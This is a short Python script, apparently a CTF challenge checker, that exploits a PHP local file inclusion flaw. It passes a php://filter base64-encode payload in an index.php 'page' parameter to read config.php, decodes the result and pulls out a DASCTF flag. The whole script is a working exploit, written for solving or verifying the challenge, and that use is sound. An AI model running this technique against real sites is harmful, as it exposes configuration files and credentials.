#!/usr/bin/python
# -*- coding: utf-8 -*-
import re, sys, requests, base64

HOST, PORT, FLAG = sys.argv[1:4]

def exp(ip, port):
    url = f"http://{ip}:{port}"
    
    payload = "php://filter/convert.base64-encode/resource=config.php"
    r = requests.get(f"{url}/index.php?page={payload}")
    
    base64_pattern = r'[A-Za-z0-9+/=]{40,}'
    matches = re.findall(base64_pattern, r.text)
    
    if not matches:
        raise Exception("No base64 content found")
    
    decoded = base64.b64decode(matches[0]).decode()
    
    flag_match = re.findall(r'DASCTF\{([^}]+)\}', decoded)
    if not flag_match:
        raise Exception("Flag not found in decoded content")
    
    return flag_match[0]

if __name__ == '__main__':
    assert exp(HOST, PORT) == FLAG
    print("Pass!")

